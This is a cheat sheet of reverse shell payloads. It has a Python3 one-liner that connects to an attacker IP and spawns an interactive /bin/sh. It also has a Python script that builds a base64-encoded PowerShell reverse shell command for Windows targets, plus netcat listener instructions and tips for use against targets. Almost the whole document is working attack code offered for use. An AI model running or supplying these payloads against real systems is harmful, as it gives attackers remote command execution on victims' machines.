This cheat sheet shows useful Python reverse shell one-liners and a PowerShell reverse shell generator in Python.
1. Python3 Reverse Shell One-liner
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.50.114",3232));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- Connects back to attacker IP
10.9.50.114on port3232. - Uses socket, duplicates file descriptors for stdin/stdout/stderr.
- Spawns an interactive
/bin/shshell. - Works on most Linux systems with Python 3 installed.
2. Python Script to Generate PowerShell Reverse Shell Command (Base64 Encoded)
#!/usr/bin/env python3
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
print("Returns reverse shell PowerShell base64 encoded cmdline payload connecting to IP:PORT")
exit()
try:
(ip, port) = (sys.argv[1], int(sys.argv[2]))
except:
help()
payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)
cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmdline)
How to use:
Run this script:
python3 Reverse_Shell_for_Power_Shell.py 10.9.50.114 4444It will output a Base64 encoded PowerShell command you can execute on a Windows target.
Run
nc -lvnp 4444on your attacker machine to catch the shell.
🔥 Tips & Notes
- Always change IP and ports to your attack machine’s IP and listener port.
- Python3 reverse shell requires Python 3 installed on the target.
- PowerShell payloads are great for Windows targets with PowerShell enabled.
- Use
ncorncatlisteners to catch reverse shells. - For targets with restricted environments, try other shells or encoding techniques.
- The PowerShell payload uses UTF-16 LE encoding (skip BOM bytes) for base64.
